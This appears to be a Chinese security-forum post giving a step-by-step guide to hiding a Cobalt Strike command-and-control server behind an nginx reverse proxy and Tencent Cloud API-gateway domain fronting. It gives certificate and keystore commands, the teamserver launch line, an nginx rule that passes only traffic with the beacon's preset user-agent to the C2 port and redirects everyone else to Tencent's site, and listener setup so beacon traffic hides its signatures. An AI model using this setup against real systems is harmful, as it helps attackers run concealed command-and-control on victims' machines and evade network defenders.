前言
很久没有玩cs了,拿着之前零零散散的笔记搭环境效率太低,所以整理了一篇思路清晰一点的,方便以后就算时间长了没搞也能快速部署起来。
就是比较常规的玩法,用到的是腾讯云的api网关
,nginx反向
直接做的本地端口之间的转发。欢迎师傅们多多指教,希望学习到更多的姿势。
cs去特征就不在这里搞了,比如自己生成profile文件啥的,我们直接把去完特征的cs打包上传到服务器。
域名解析申请生成证书
新建一个vps服务器(ubuntu2023):ip:12.34.56.78
godaddy申请域名,做好dns指向
:www.aaa.bbb — 12.34.56.78
上vps
安装certbot
apt-add-repository -r ppa:certbot/certbot
add-apt-repository universe
apt-get update
apt-get install python-certbot-nginx(如果这个装不上就用下面的python3-certbot-nginx)
apt-get install python3-certbot-nginx
#申请证书
certbot --nginx -d www.aaa.bbb
#证书到期手动更新,证书有效期一般是90天
certbot renew --dry-run
#证书路径 /etc/letsencrypt/live/www.aaa.bbb/fullchain.pem
#私钥路径 /etc/letsencrypt/live/www.aaa.bbb/privkey.pem
cs的https配置
(这里参考的也是土司之前一位大师傅的文章,具体链接忘记了,抱歉抱歉)
生成.p12格式文件
#格式
openssl pkcs12 -export -in server.pem -inkey server.key -out spoofdomain.p12 -name 域名 -passout pass:密码
#举例
openssl pkcs12 -export -in /etc/letsencrypt/live/www.aaa.bbb/fullchain.pem -inkey /etc/letsencrypt/live/www.aaa.bbb/privkey.pem -out spoofdomain.p12 -name www.aaa.bbb -passout pass:123456
生成.store格式文件,放到cs的目录下
#格式
keytool -importkeystore -deststorepass 密码 -destkeypass 密码 -destkeystore cs.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass 密码 -alias 域名
#举例
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore cs.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.aaa.bbb
编辑我们生成的配置文件random.profile,在末尾添加如下内容(这里的profile文件是为了去掉请求包特征用随机工具生成的)
https-certificate {
set keystore "cs.store";
set password "123456";
}
修改teamserver配置文件
#格式
javax.net.ssl.keyStore=.store文件路径 -Djavax.net.ssl.keyStorePassword=证书密码
#例子
javax.net.ssl.keyStore=./cs.store -Djavax.net.ssl.keyStorePassword=123456
启动teamserver
screen -S cs
chmod +x teamserver
./teamserver [ip] [密码] ./random.profile
./teamserver 12.34.56.78 123456 ./random.profile
配置nginx反向代理
可以在两台vps之间转发,也可以做本地的端口转发,本质上都是为了筛选入网流量
,我这里做的是本地端口之间的转发
#配置nginx
vim /etc/nginx/sites-enabled/default
将配置信息搞进去,主要是做user-agent过滤
,user-agent的具体值是在cs的profile
文件中指定的。
如果数据包中的ua信息和profile里预设的一样,那就转到c2监听
的端口4556,如果不匹配
,那就跳转到腾讯官网。
值得注意的是,这里的域名如果刚注册做完解析,需要等一个小时
左右,不然nginx配置文件重载会报错
,可以先用vps的ip地址来配置之后再改。
location / {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
set $flag 0;
if ( $http_user_agent = "Mozilla/6.0 (Windows NT 7.2; Win64; x64) AppleWebKit/538.37 (KHTML, like Gecko) Chrome/100.0.3538.110 Safari/538.37" )
{
proxy_pass https://www.aaa.bbb:4556;
set $flag 1;
}
if ( $flag = 0)
{
rewrite ^/(.*)[ DISCUZ_CODE_20 ]nbsp; https://www.tencent.com/zh-cn/about.html; #跳转
}
}
配置完之后保存重启
#重载配置文件:
/etc/init.d/nginx reload
#重启nginx:
service nginx restart
#查看nginx状态
service nginx status
#防火墙配置策略
ufw allow 443
配置域前置
我这里用的是腾讯云的api网关:
https://console.cloud.tencent.com/apigateway/service?rid=1
新建api网关
点击新建的服务,进入配置界面
新建一个通用api
用生成的前置域名访问,发现可以跳转到腾讯主页(跳转地址是在nginx配置文件里搞的)
配置listener
这里的域名可以用api网关,端口从443—>4556
之后就可以生成beacon测试了,对beacon.exe抓包如下,可以隐藏特征。
原文链接
https://www.t00ls.com/articles-71236.html
原文始发于微信公众号(T00ls安全):cobaltstrike域前置+nginx反向代理快速部署指南